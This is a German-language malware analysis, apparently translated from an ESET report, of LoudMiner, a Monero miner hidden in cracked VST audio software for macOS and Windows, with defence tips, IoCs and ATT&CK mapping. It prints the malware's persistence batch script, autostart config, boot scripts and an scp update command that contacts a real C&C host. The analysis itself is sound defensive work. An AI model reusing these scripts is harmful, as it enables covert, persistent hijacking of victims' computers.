LoudMiner ist ein ungewöhnlicher Fall eines persistenten Crypto-Miners, der sich, konzipiert für macOS und Windows, seit etwas August 2018 verbreitet. Der Crypto-Trojaner setzt auf Virtualization Software – QEMU bei macOS und VirtualBox bei Windows – um Kryptowährung mit Hilfe von Tiny Core Linux Virtual Machine plattformübergreifend zu schürfen (Mining). LoudMiner hat es insbesondere auf User abgesehen, die auf gecrackte VST-Software aus sind. Der Crypto-Miner selbst basiert auf XMRig (Monero) und greift auf einen Mining-Pool zurück, weswegen es nahezu unmöglich ist, Transaktionen zurück zu verfolgen.

Verbreitung von LoudMiner

Zum Zeitpunkt der Entstehung dieses Artikels gab es 137 VST-Anwendungen (42 für Windows und 95 für macOS). Alle waren auf einer einzelnen WordPress-Webseite verfügbar, deren Domain man am 24. August 2018 registrierte. Am selben Tag wurde auch die erste VST-App für Windows hochgeladen. Dabei handelte es sich um Native Instruments Kontakt 5.7. Die Größe der Anwendungen lässt eine effiziente Analyse nicht zu. Man kann aber davon ausgehen, dass alle gecrackten VST-Anwendungen den Crypto-Trojaner beinhalten.

Die VST-Software wird selbst nicht auf WordPress gehostet, sondern von 29 externen Servern bereitgestellt (näheres unter IoC). Die Webseite-Admins aktualisierten die VST-Apps regelmäßig auf neuere Versionen, so dass sich die erste Version des Crypto-Miners kaum feststellen lässt.

Der plattformübergreifende LoudMiner zielt ganz offensichtlich auf Computer ab, die bei Audio-Produktionen zum Einsatz kommen. Hier finden sich oft Geräte mit guter Rechenleistung. Die hohe CPU-Auslastung überrascht die User genauso wenig, wie die großen Dateigrößen der komplexen VST-Softwares. Den Cyberangreifern spielt das natürlich in die Karten, denn so können sie den LoudMiner Crypto-Trojaner gut in den VM Images verstecken. Die Entscheidung, auf Virtuelle Maschinen, anstatt auf schlankere Lösungen zu setzen, ist bemerkenswert. Das sieht man nicht alle Tage.

Es folgen ein paar Beispiele kompromittierter VST-Software sowie einige Kommentare, die auf der WordPress-Webseite hinterlassen wurden:

  • Propellerhead Reason
  • Ableton Live
  • Sylenth1
  • Nexus
  • Reaktor 6
  • AutoTune

Abbildung 1: Kommentar #1 von "admin"

Abbildung 1: Kommentar #1 von "admin"

Abbildung 2: Kommentar #2 von "admin"

Abbildung 2: Kommentar #2 von "admin"

Berichte von Usern über LoudMiner

In mehreren Foren wurde sich über die CPU-Beanspruchung von 100% auf Mac-Rechnern, verursacht durch qeumu-system-x86_64, beschwert:

Abbildung 3: Benutzerbericht #1 (https://discussions.apple.com/thread/250064603)

Abbildung 3: Benutzerbericht #1 (https://discussions.apple.com/thread/250064603)

Abbildung 4: Benutzerbericht #2 (https://toster.ru/q/608325)

Abbildung 4: Benutzerbericht #2 (https://toster.ru/q/608325)

Ein User namens „Macloni“ (https://discussions.apple.com/thread/8602989) sagte das Folgende (Übersetzung):

„Leider musste ich OSX neu installieren. Ich hatte Ableton Live 10 von einer Torrent-Seite heruntergeladen, anstatt von der offiziellen.  Damit installierte ich mir auch den Crypto-Miner, der dann im Hintergrund agierte.“

Der Mac-User fügte auch einen Screenshot des Aktivitätenmonitors an. Darauf ist zu erkennen, dass zwei Prozesse – qemu-system-x86_64 und tools-service – 25% der CPU-Ressourcen beanspruchen und root-Rechte besitzen.

Analyse der VST-Raubkopien

Die Analyse der mit dem Crypto-Trojaner LoudMiner kompromittierten VST-Softwares ergab unter macOS und Windows grundlegend dasselbe:

  1. Eine VST-Anwendung wird mit einer Virtualization Software, einem Linux Image und zusätzliche Dateien (Stichwort Persistenz) gebündelt.
  2. Die User laden die Anwendung herunter und folgen der Installationsanweisung.
  3. LoudMiner wird zuerst installiert, die eigentliche VST-Software erst danach.
  4. LoudMiner versteckt sich im Computer-System und erlangt Persistenz nach einem Neustart.
  5. Sobald die Linux VM startet, beginnt der Crypto-Miner zu schürfen.
  6. Scripte innerhalb der VM sorgen für den Kontakt zum C&C-Server, um den Crypto-Miner Up-to-Date zu halten (Konfiguration und Binaries)

Während der Untersuchung der verschiedenen VSTs entdeckten wir vier Versionen des Crypto-Miners. Der Unterschied liegt in der Art und Weise, wie der Miner mit der Software verknüpft wurde, oder wie die C&C-Server-Domain und die Versionsnummer lauten.

macOS LoudMiner Malware

Wir identifizierten bisher drei macOS-Versionen der Malware. Alle enthalten zusätzliche Software-Pakete (in installerdata.dmg beinhaltet), um QEMU auszuführen. Von installerdata.dmg aus werden Dateien nach  /usr/local/bin kopiert und mit entsprechenden Rechten ausgestattet. Jede Version des Miners kann zwei Images gleichzeitig ausführen. Jedes beansprucht dafür 128 MB RAM und einen CPU-Core. Die Persistent wird durch das Hinzufügen von plist-Dateien in /Library/LaunchDaemons mithilfe von RunAtLoad (Wert = true) erreicht. Außerdem besitzt KeepAlive den Wert true, damit der Prozess nach einem Stillstand wiederaufgenommen wird. Jede Version beinhaltet folgende Komponente:

  • QEMU Linux Images
  • Shell Script, um die QEMU Images zu laden
  • Daemons, um die Shell Scripts beim Start zu laden und am Laufen zu halten
  • Ein CPU Monitor Shell Script mit zugehörigem Daemon, damit das Crypto-Mining je nach CPU-Auslastung gestartet bzw. gestoppt werden kann. Auch abhängig vom Activity Monitor

Das CPU Monitor Script kann den Mining-Prozess starten und stoppen, indem der Daemon geladen bzw. ausgeschaltet wird. Läuft der Activity Process, stoppt das Crypto-Mining. Ansonsten überprüft dieser, wie lange (in Sekunden) sich das System bereits im Leerlauf befindet.

ioreg -c IOHIDSystem | awk '/HIDIdleTime/ {print $NF/1000000000; exit}'

Wenn die Leerlauf-Zeit mehr als zwei Minuten beträgt, startet das Crypto-Mining. Bei weniger als zwei Minuten wird die totale CPU-Auslastung überprüft…

ps -A -o %cpu | awk '{s+=$1} END {print s }'

… und durch die Anzahl der CPU-Cores geteilt:

sysctl hw.logicalcpu |awk '{print $2 }')

Eine höhere CPU-Auslastung als 85% stoppt das Mining. Das dafür zuständige Script unterscheidet sich je nach Version von den anderen. Die zugrunde liegende Idee bleibt allerdings dieselbe.

Nach der Installation werden alle mit dem Crypto-Miner in Verbindung stehenden Installationsdateien automatisch vom System gelöscht.

Abbildung 5: Installation von Polyverse.Music.Manipulator.v1.0.1.macOS.dmg

Abbildung 5: Installation von Polyverse.Music.Manipulator.v1.0.1.macOS.dmg

Abbildung 6: Polyverse.Music.Manipulator.v1.0.1.macOS.dmg Setup-Anweisungen

Abbildung 6: Polyverse.Music.Manipulator.v1.0.1.macOS.dmg Setup-Anweisungen

Die ausführliche Analyse zu macOS Crypto-Miner Version 1 – 3 ist in der englischen Version des Beitrags zu finden: https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/

Windows (Version 4)

Aus den Anwendungen extrahierten Strings konnten wir nur eine Version bestimmen, die auf Windows-Systeme abzielt. Die grundlegende Idee gleicht den macOS Crypro-Miner-Versionen. Jede Windows-Anwendung ist als MSI-Installer verpackt. Dieser installiert die gecrackte VST-Software und die Treiber für VirtualBox – wie in Abbildung 7 dargestellt.

Abbildung 7: "Vertrauen Sie dieser Anwendung?"-Popup, vor Installation der VirtualBox-Treiber

Abbildung 7: "Vertrauen Sie dieser Anwendung?"-Popup, vor Installation der VirtualBox-Treiber

VirtualBox wird unter dem üblichen Dateipfad installiert (C:\Program Files\Oracle). Allerdings trägt der Pfad das Attribut hidden – Der Ordner wird also ausgeblendet. Dann kopiert der Installer das Linux Image und VBoxVmService (Ein Windows-Dienst, mit dem eine VirtualBox-Machine als Dienst ausgeführt wird) nach C:\vms – ebenfalls mit dem hidden-Attribut versehen. Nach dem die Installation abgeschlossen ist, wird ein Batch-Script (mit Hilfe von BAT2EXE kompiliert) ausgeführt, um das Linux Image zu importieren und VmServiceControl.exe zu starten, damit die Virtual Machine den Dienst aufnehmen kann.

@echo off
setlocal EnableExtensions EnableDelayedExpansion
"c:\Program Files\Oracle\VirtualBox\vboxmanage.exe" setproperty machinefolder "%userprofile%\appdata\roaming"
"c:\Program Files\Oracle\VirtualBox\vboxmanage.exe" import "c:\vms\tmp\sys00_1.ova"
xcopy /Y "C:\Windows\System32\Config\systemprofile\.VirtualBox" "C:\vms\.VirtualBox\"
"C:\vms\VmServiceControl.exe" -i
del /F "c:\vms\tmp\sys00_1.ova"

Abbildung 8: Batch-Script, welches die Linux VM als Dienst startet.

Diese Methode wird verwendet, um die Persistenz des Crypto-Miners nach einem Neustart sicherzustellen. VboxVmService wird mit einer Konfigurationsdatei geliefert (siehe Abbildung 9), in der es möglich ist, die AutoStart-Option zu aktivieren, damit die VM beim Start automatisch startet.

[Settings]
VBOX_USER_HOME=C:\vms\.VirtualBox
RunWebService=no
PauseShutdown=5000
[Vm0]
VmName=sys00_1
ShutdownMethod=acpipowerbutton
AutoStart=yes

Abbildung 9: Konfigurationsdatei für VBoxVmService mit aktiviertem AutoStart

Die im Linux-Image enthaltene OVF-Datei beschreibt die Hardwarekonfiguration der VM (siehe Abbildung 10): Es werden 1 GB RAM und 2 CPU-Kerne (bei einer maximalen Auslastung von 90%) beansprucht.

<Hardware>
<CPU count="2" executionCap="90">
<PAE enabled="true"/>
<LongMode enabled="true"/>
<X2APIC enabled="true"/>
<HardwareVirtExLargePages enabled="true"/>
</CPU>
<Memory RAMSize="1024"/>

Abbildung 10: Hardware-Konfiguration des Linux-Images

Das Linux Image des LoudMiner Crypro-Miners

Das Linux Image Tiny Core Linux 9.0 wurde modifiziert, um XMRig sowie einige andere Dateien und Scripte ausführen zu können. Die interessantesten Dateien sind:

  • /root/.ssh/{id_rsa, id_rsa.pub} – Der SSH-Pair-Schlüssel, mit dem der Crypto-Miner mithilfe von SCP durch den C&C-Server aktualisiert wird.
  • /opt/{bootsync.sh, bootlocal.sh} – Die Systemstartbefehle, mit denen versucht wird, den Miner vom C&C-Server aus zu aktualisieren und auszuführen (siehe Abbildungen 11 und 12).
/usr/bin/sethostname box
/opt/bootlocal.sh 2>&1 > /dev/null &
echo "booting" > /etc/sysconfig/noautologin

Abbildung 11: bootsync.sh

/mnt/sda1/tools/bin/idgenerator 2>&1 > /dev/null
/mnt/sda1/tools/bin/xmrig_update 2>&1 > /dev/null
/mnt/sda1/tools/bin/ccommand_update 2>&1 > /dev/null
/mnt/sda1/tools/bin/ccommand 2>&1 > /dev/null
/mnt/sda1/tools/bin/xmrig

Abbildung 12: bootlocal.sh

  • /mnt/sda1/tools/bin – Hauptdateien und Scripte, die zum Aktualisieren und Ausführen des Miners verwendet werden.
  • /mnt/sda1/tools/xmrig – enthält den Quellcode von XMRig (aus dem GitHub-Repository).

Die Konfiguration des Crypto-Miners LoudMiner ist in /mnt/sda1/tools/bin/config.json gespeichert und enthält hauptsächlich den Domain-Name und den für den Mining-Pool verwendeten Port, der je nach Version unterschiedlich sein kann (siehe Beispiele im Abschnitt "IoCs").

Der Update-Mechanismus wird über SCP (Secure File Copy) mithilfe drei verschiedener Scripte ausgeführt:

  • xmrig_update - aktualisiert die Konfiguration des Crypto-Miners (config.json);
  • ccommand – aktualisiert ccommand_update, xmrig_update (siehe Abbildung 13), sh, xmrig;
  • ccommand_update – aktualisiert ccommand;

Nach unseren Analysen ändert sich die Crypto-Miner-Konfiguration einmal täglich.

#!/bin/sh
ping -w 40 127.0.0.1
cd /mnt/sda1/tools/bin/ && scp -P 5100 -C -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null x01@system-update.is:ctrl/cowboinvox`date +%Y%m%d` config.json.new && mv config.json config.json.bkp && mv config.json.new config.json

Abbildung 13: xmrig_update

Um eine bestimmte Mining-Session zu identifizieren, wird vom idgenerator-Script eine Datei erstellt, welche die IP-Adresse des Computers und das Datum des Tages enthält. Der Output wird vom updater.sh-Script an den C&C-Server gesendet.

Wie schützt man sich vor Crypto-Minern?

Ganz offensichtlich ist es das Beste, keine Raubkopien kommerzieller Software herunterzuladen und zu installieren. Einige Hinweise deuten jedoch an, wenn Anwendungen unerwünschten Code enthalten:

  • "Vertrauen Sie dieser Anwendung?"-Popup erscheint. Software möchte zusätzliche Software installieren.
  • Hohe CPU-Auslastung durch einen Prozess, den man nicht installierte (in diesem Fall QEMU bzw. VirtualBox)
  • Im Startup bzw Launch Daemon befinden sich neue Prozesse
  • Aufgebaute Netzwerkverbindungen zu seltsamen Domains (wie bspw. system-update[.]info oder system-check[.]services)

Indicators of Compromise (IoCs)

Hashes

macOS “cracked” applications (versions 1-3)

SHA-1 Filename ESET detection name Version number
71030028c4e1b844c85138bd77ddea96a190ec2c Virtual_DJ_8_Pro_Infinity_macOS.pkg OSX/LoudMiner.A 1
32c80edcec4f7bb3b494e8949c6f2014b7f5db65 Native Instruments Massive Installer.pkg OSX/LoudMiner.A 1
7dc9f8ca07cd8e0247cf15cd8d2da2190a02fc90 Massive_v1.5.5_Installer_macOS.dmg OSX/LoudMiner.B 2
0b40bd0754637d5be2ada760ff0ecfda7afe03d7 Native_Instruments_Effects_Series_Mod_Pack.dmg OSX/LoudMiner.B 2
88efc767a32299e922f1b41f82c8d584585e2161 Spectrasonics_Omnisphere_2.5_OSx.dmg OSX/LoudMiner.C 3
e9c9d17d006fb03d67b736c0826df0af8ca6d5fd Lennar_Digital_Sylenth1_2.2.1.dmg OSX/LoudMiner.C 3

Windows “cracked” applications (version 4)

SHA-1 Filename ESET detection name
23faacfc23cfef65504d7fa20854030b96a9df91 Ableton.Live.Suite.10.0.6.Multilingual.x64.WIN.zip Win32/LoudMiner.A
5a8682eae69b2e11d45980941a972bd734630207 Infected-Mushroom-Manipulator-V1.0.3.zip Win32/LoudMiner.A
60a8f1d4a028153271093e815e8267bd25fde852 Sonic_Academy_ANA_2.0.3_x86_x64.msi Win32/LoudMiner.A
7c7876058783da85d5502b9406f7fb4d26f66238 SoundToys_5.0.1_x64-SetupFiles.rar Win32/LoudMiner.A
a1a1dc7876d71749a8bc5690c537451770ef4ab8 Valhalla-DSP-Full-Bundle-setupfiles.zip Win32/LoudMiner.A

Linux images

SHA-1 Filename Version number
dd9b89a3c5a88fb679f098e2c2847d22350e23b1 sys00_1-disk001.qcow2 1
d1e42e913da308812dd8da1601531b197c1a09a1 sys00_1-disk001.qcow2 1
39a7e86368f0e68a86cce975fd9d8c254a86ed93 z1.qcow2 (renamed with a randomized name) 2
59026ffa1aa7b60e5058a0795906d107170b9e0f z1.qcow2 (renamed with a randomized name) 3
fcf5c3b560295ee330b97424b7354fd321757cc6 sys00_1.ova 4
fc60431a0172d5b8cf4b34866567656467cf861c sys00_1.ova 4

Filenames

macOS

  • /Library/Application Support/.Qemusys
  • /Library/Application Support/.System-Monitor
  • /usr/local/bin/{.Tools-Service, cpumonitor, system-monitor, tools-service}
  • /Library/LaunchDaemons/{com.buildtools.system-monitor.plist, com.buildtools.tools-service.plist, com.modulesys.qemuservice.plist, com.systools.cpumonitor.plist}

Windows

  • C:\vms

Hostnames

vstcrack[.]com (137[.]74.151.144)

Download hosts (via HTTP on port 80)

  • 185[.]112.156.163
  • 185[.]112.156.29
  • 185[.]112.156.70
  • 185[.]112.157.102
  • 185[.]112.157.103
  • 185[.]112.157.105
  • 185[.]112.157.12
  • 185[.]112.157.181
  • 185[.]112.157.213
  • 185[.]112.157.24
  • 185[.]112.157.38
  • 185[.]112.157.49
  • 185[.]112.157.53
  • 185[.]112.157.65
  • 185[.]112.157.72
  • 185[.]112.157.79
  • 185[.]112.157.85
  • 185[.]112.157.99
  • 185[.]112.158.112
  • 185[.]112.158.133
  • 185[.]112.158.186
  • 185[.]112.158.190
  • 185[.]112.158.20
  • 185[.]112.158.3
  • 185[.]112.158.96
  • d-d[.]host (185[.]112.158.44)
  • d-d[.]live (185[.]112.156.227)
  • d-d[.]space (185[.]112.157.79)
  • m-m[.]icu (185[.]112.157.118)

Update hosts (via SCP)

  • aly001[.]hopto.org (192[.]210.200.87, port 22)
  • system-update[.]is (145[.]249.104.109, port 5100)

Mining hosts

  • system-update[.]info (185[.]193.126.114, port 443 or 8080)
  • system-check[.]services (82[.]221.139.161, port 8080)

MITRE ATT&CK techniques

Tactic ID Name Description
Execution T1035 Service Execution On Windows, the Linux image is run as a service with VboxVmService.
Persistence T1050 New Service Install the Linux virtual machine as a service with VboxVmService.
T1062 Hypervisor Install a type-2 hypervisor on the host (VirtualBox or QEMU) to run the miner.
T1160 Launch Daemon The macOS versions use a Launch Daemon to ensure the persistence.
Defense Evasion T1027 Obfuscated Files or Information Some shell scripts are obfuscated, and some installers are encrypted in macOS versions.
T1045 Software Packing Use BAT2EXE to pack batch script in Windows versions.
T1158 Hidden Files and Directories The VirtualBox installation folder and the directory containing the Linux image are hidden.
Command and Control T1043 Commonly Used Port Use TCP ports 443 and 8080 for mining pool communication.
T1105 Remote File Copy Use SCP (port 22 or 5100) to copy files from/to the C&C server.
Impact T1496 Resource Hijacking Use victim machines to mine cryptocurrency (Monero).